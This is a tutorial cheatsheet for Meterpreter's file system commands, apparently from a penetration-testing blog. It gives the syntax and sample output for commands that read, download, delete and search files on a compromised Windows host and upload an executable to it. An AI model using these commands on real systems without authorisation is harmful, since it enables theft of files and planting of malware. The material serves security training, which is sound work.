

Meterpreter File System Commands Cheatsheet

October 20, 2018 By Raj Chandel

Hey Friends!

Did you know that meterpreter is known as Hacker's Swiss Army Knife!!

Well! Now you do.

Meterpreter, a highly developed payload that can be extended dynamically, is known to be Hacker's Swiss Army Knife. It uses a reflective DLL injection technique to further compromise the target after the attack. Meterpreter is known to influence the functionality of the Metasploit framework. It can help in doing a lot many things. Some of these include covering tracks after the attack, accessing the operating system, and dumping hashes.

This article discusses **meterpreter's Stdapi File System Commands**. There are 21 commands including cat, cd, pwd, and checksum. Figure 1 summarises them:

cat	cd	pwd	checksum	cp
dir	download	edit	getlwd	getwd
lcd	lls	lpwd	ls	mkdir
mv	pwd	rm	rmdir	search
show_mount	upload			

Let's start discussing them.

cat

It is the very first command in the group of Stdapi File System Commands. It reads the contents of a file to the screen. In other words, cat displays a file's contents. cat command in meterpreter is same as cat command used in Unix/Linux systems.

The syntax of cat in meterpreter is as follows:

```
cat filename
```

```
meterpreter > cat abc.txt
This is meterpreter!
meterpreter > █
```

cd and pwd

Though `cd` and `pwd` commands are two separate commands, they are usually used together. `cd` stands for **c**hange **d**irectory and `pwd` stands for **p**rint **w**orking **d**irectory. You use `pwd` command to check the directory you are working in. You can change this directory using the `cd` command. By default, the current working directory is the one where the connection was established.

The syntaxes of `pwd` and `cd` commands in meterpreter are as follows:

```
pwd
```

`cd <path of the folder to change to>`

```
meterpreter > pwd
C:\
meterpreter > cd D:
meterpreter > pwd
D:\
meterpreter > █
```

checksum

This command retrieves the checksum of a file. The syntax of the checksum command is as follows:

```
checksum [md5/sha1] file1 file2 file 3...
```

```
meterpreter > checksum md5 abc.txt
412dcff6152b7ee8c4bf9776f061761d abc.txt
meterpreter > checksum sha1 abc.txt
dd3e81fe74aae906d0c2fed5a7041d747bd58b4c abc.txt
meterpreter > █
```

cp

This command copies the content of the old file to the new file. The syntax of the `cp` command is as follows:

```
cp <oldfile> < newfile>
```

```
meterpreter > cp abc.txt def.txt
meterpreter > cat def.txt
This is meterpreter!
meterpreter > █
```

dir

This command lists files. It is an alias for the ls command. It provides crucial details related to any file or directories such as File Permissions, Size of File, Last modified date and file Name & Type. The syntax of the dir command is as follows:

dir

```
meterpreter > dir
Listing: D:\
=====

Mode                Size      Type    Last modified          Name
----                -
40777/rwxrwxrwx     0        dir    2016-09-16 05:10:12 -0400 $RECYCLE.BIN
40777/rwxrwxrwx     0        dir    2016-09-16 06:06:33 -0400 System Volume Information
100666/rw-rw-rw-    22       fil    2018-10-12 13:02:38 -0400 abc.txt
100666/rw-rw-rw-    22       fil    2018-10-12 13:02:38 -0400 def.txt
40777/rwxrwxrwx   4096     dir    2016-12-04 06:36:21 -0500 movies
100666/rw-rw-rw-    46       fil    2018-10-12 13:04:40 -0400 xyz.txt

meterpreter >
```

download

This command downloads remote files and directories from a remote location to the local machine. The syntax of download command is as follows:

download [options] src1 src 2 src3... destination

```
meterpreter > download D:/abc.txt /root/Desktop
[*] Downloading: D:/abc.txt -> /root/Desktop/abc.txt
[*] Downloaded 22.00 B of 22.00 B (100.0%): D:/abc.txt -> /root/Desktop/abc.txt
[*] download    : D:/abc.txt -> /root/Desktop/abc.txt
meterpreter >
```

edit

This command edits a file. The syntax of edit command is as follows:

```
edit <file name>
```

```
meterpreter > edit xyz.txt
```

When you press the **Enter** key, the screen displayed is as shown in the below image:



The screenshot shows a Metasploit Meterpreter session where the 'edit xyz.txt' command has been executed. The screen displays a file editor interface with a black background and yellow text. At the top, it says 'you are learning File System Commands...'. Below this, there is a large, faint watermark that reads 'www.hackingarticles.in'. The left side of the screen is filled with a vertical column of tilde characters (~). At the bottom, the status bar shows the file path and details: '/tmp/meterp20181012-3553-11rnvyu' [dos] 3L, 46C.

After editing the file, type: **x** to save the changes and exit, as shown in the below image

⋮

This command prints the working directory on the local machine that is, in our case it is Kali Linux. The syntax of the `getlwd` command is as follows:

```
meterpreter > getlwd
/root
meterpreter >
```

This command prints the working directory. The syntax of the `getwd` command is as follows:

```
meterpreter > getwd
D:\
meterpreter > 
```

lcd

This command changes the working directory of the local machine that is, in our case it is Kali Linux. The syntax of `lcd` is as follows:

`lcd`

```
meterpreter > lcd \Desktop
meterpreter > getlwd
/root/Desktop
meterpreter > █
```

You can see that local working directory changes to `/root/Desktop`

lls

This command lists files on the local machine that is, in our case it is Kali Linux. The syntax of `lls` command is as follows:

`lls`

```
meterpreter > lls
Listing Local: /root/Desktop
=====
Mode                Size  Type    Last modified          Name
----                -
100644/rw-r--r--    6507  fil     2018-09-28 12:18:47 -0400 CEH_results.html
100644/rw-r--r--     22   fil     2018-10-12 13:02:38 -0400 abc.txt
100644/rw-r--r--    232   fil     2018-10-02 08:29:33 -0400 fire.exe
100644/rw-r--r--    230   fil     2018-10-12 12:57:14 -0400 fire.txt
100644/rw-r--r--    239   fil     2018-09-28 11:49:23 -0400 fire1.exe
100755/rwxr-xr-x    291   fil     2018-08-21 08:20:42 -0400 mount-shared-folders.sh
100755/rwxr-xr-x    130   fil     2018-08-21 08:20:42 -0400 restart-vm-tools.sh
40755/rwxr-xr-x   4096  dir     2018-10-12 13:25:16 -0400 rootDesktop
meterpreter >
```

lpwd

This command prints the working directory on the local machine that is, in our case it is Kali Linux. It is the same as the `getlwd` command. The syntax of the `lpwd` command is as follows:

`lpwd`

```
meterpreter > lpwd  
/root/Desktop  
meterpreter >
```

ls

This command lists files. The syntax of the ls command is as follows:

```
ls
```

```
meterpreter > ls  
Listing: D:\  
=====
```

Mode	Size	Type	Last modified	Name
----	----	----	-----	----
40777/rwxrwxrwx	0	dir	2016-09-16 05:10:12 -0400	\$RECYCLE.BIN
40777/rwxrwxrwx	0	dir	2016-09-16 06:06:33 -0400	System Volume Information
100666/rw-rw-rw-	22	fil	2018-10-12 13:02:38 -0400	abc.txt
100666/rw-rw-rw-	22	fil	2018-10-12 13:02:38 -0400	def.txt
40777/rwxrwxrwx	4096	dir	2016-12-04 06:36:21 -0500	movies
100666/rw-rw-rw-	46	fil	2018-10-12 13:21:47 -0400	xyz.txt

```
meterpreter > █
```

mkdir

This command makes directory. The syntax of the mkdir command is as follows:

```
mkdir dir1 dir2 dir3...
```

```

meterpreter > mkdir New_Dir
Creating directory: New_Dir
meterpreter > ls
Listing: D:\
=====

Mode                Size      Type    Last modified          Name
----                -
40777/rwxrwxrwx     0      dir    2016-09-16 05:10:12 -0400 $RECYCLE.BIN
40777/rwxrwxrwx     0      dir    2018-10-12 13:29:33 -0400 New_Dir
40777/rwxrwxrwx     0      dir    2016-09-16 06:06:33 -0400 System Volume Information
100666/rw-rw-rw-    22      fil    2018-10-12 13:02:38 -0400 abc.txt
100666/rw-rw-rw-    22      fil    2018-10-12 13:02:38 -0400 def.txt
40777/rwxrwxrwx   4096     dir    2016-12-04 06:36:21 -0500 movies
100666/rw-rw-rw-    46      fil    2018-10-12 13:21:47 -0400 xyz.txt

meterpreter >

```

mv

This command moves a file from source to destination and it can also be used to rename the file as shown. The syntax of the mv command is as follows:

```
mv oldfile newfile
```

```

meterpreter > mv xyz.txt new.txt
meterpreter > cat new.txt
you are learning File System Commands...

meterpreter >

```

You can see the moved contents using cat command.

pwd

This command prints the working directory. The syntax of the pwd command is as follows:

```
pwd
```

```

meterpreter > pwd
D:\
meterpreter >

```

rm

This command deletes the specified file. The syntax of the rm file is as follows:


```
rm file1 [file2...]
```

```
meterpreter > ls
Listing: D:\
=====

Mode                Size      Type    Last modified          Name
----                -
40777/rwxrwxrwx     0        dir     2016-09-16 05:10:12 -0400 $RECYCLE.BIN
40777/rwxrwxrwx     0        dir     2018-10-12 13:29:33 -0400 New_Dir
40777/rwxrwxrwx     0        dir     2016-09-16 06:06:33 -0400 System Volume Information
100666/rw-rw-rw-    22       fil     2018-10-12 13:02:38 -0400 abc.txt
40777/rwxrwxrwx   4096     dir     2016-12-04 06:36:21 -0500 movies
100666/rw-rw-rw-    46       fil     2018-10-12 13:21:47 -0400 new.txt
100666/rw-rw-rw-    22       fil     2018-10-12 13:02:38 -0400 pqr.txt

meterpreter > rm new.txt
meterpreter > ls
Listing: D:\
=====

Mode                Size      Type    Last modified          Name
----                -
40777/rwxrwxrwx     0        dir     2016-09-16 05:10:12 -0400 $RECYCLE.BIN
40777/rwxrwxrwx     0        dir     2018-10-12 13:29:33 -0400 New_Dir
40777/rwxrwxrwx     0        dir     2016-09-16 06:06:33 -0400 System Volume Information
100666/rw-rw-rw-    22       fil     2018-10-12 13:02:38 -0400 abc.txt
40777/rwxrwxrwx   4096     dir     2016-12-04 06:36:21 -0500 movies
100666/rw-rw-rw-    22       fil     2018-10-12 13:02:38 -0400 pqr.txt

meterpreter >
```

You can see the list of files before and after using rm command.

rmmdir

This command removes the directory. The syntax of the rmmdir command is as follows:

```
rmmdir dir1 dir 2 dir 3...
```

```

meterpreter > ls
Listing: D:\
=====

Mode                Size      Type    Last modified          Name
----                -
40777/rwxrwxrwx     0         dir     2016-09-16 05:10:12 -0400 $RECYCLE.BIN
40777/rwxrwxrwx     0         dir     2018-10-12 13:29:33 -0400 New_Dir
40777/rwxrwxrwx     0         dir     2016-09-16 06:06:33 -0400 System Volume Information
100666/rw-rw-rw-    22        fil     2018-10-12 13:02:38 -0400 abc.txt
40777/rwxrwxrwx    4096      dir     2016-12-04 06:36:21 -0500 movies
100666/rw-rw-rw-    22        fil     2018-10-12 13:02:38 -0400 pqr.txt

meterpreter > rmdir New_Dir
Removing directory: New_Dir
meterpreter > ls
Listing: D:\
=====

Mode                Size      Type    Last modified          Name
----                -
40777/rwxrwxrwx     0         dir     2016-09-16 05:10:12 -0400 $RECYCLE.BIN
40777/rwxrwxrwx     0         dir     2016-09-16 06:06:33 -0400 System Volume Information
100666/rw-rw-rw-    22        fil     2018-10-12 13:02:38 -0400 abc.txt
40777/rwxrwxrwx    4096      dir     2016-12-04 06:36:21 -0500 movies
100666/rw-rw-rw-    22        fil     2018-10-12 13:02:38 -0400 pqr.txt

meterpreter >

```

search

This command search for files. The syntax of the search command is as follows:

```
search -f *.doc
```

```

meterpreter > search -f abc.txt
Found 1 result...
    d:\abc.txt (22 bytes)
meterpreter >

```

show_mount

This command list all mount points/logical drives. The syntax of the show_mount command is as follows:

```
show_mount
```

```
meterpreter > show_mount

Mounts / Drives
=====

Name  Type   Size (Total)  Size (Free)  Mapped to
----  -
C:\   fixed  39.76 GiB     29.66 GiB
D:\   fixed  71.69 GiB     57.72 GiB

Total mounts/drives: 2

meterpreter >
```

upload

This command uploads a file or directory. The syntax of the upload command is as follows:

```
upload [options] src1 src2 src3... destination
```

```
meterpreter > upload /root/Desktop/fire.exe D:\
>

[*] uploading : /root/Desktop/fire.exe -> D:
[*] uploaded  : /root/Desktop/fire.exe -> D:\fire.exe
meterpreter >
```

You can see the uploaded file, as shown in the below image:

```
meterpreter > ls
Listing: D:\
=====

Mode                Size  Type   Last modified          Name
----                -
40777/rwxrwxrwx    0    dir   2016-09-16 05:10:12 -0400 $RECYCLE.BIN
40777/rwxrwxrwx    0    dir   2016-09-16 06:06:33 -0400 System Volume Information
100666/rw-rw-rw-   22    fil   2018-10-12 13:02:38 -0400 abc.txt
100777/rwxrwxrwx   232    fil   2018-10-12 13:43:48 -0400 fire.exe
40777/rwxrwxrwx   4096   dir   2016-12-04 06:36:21 -0500 movies
100666/rw-rw-rw-   22    fil   2018-10-12 13:02:38 -0400 pqr.txt
```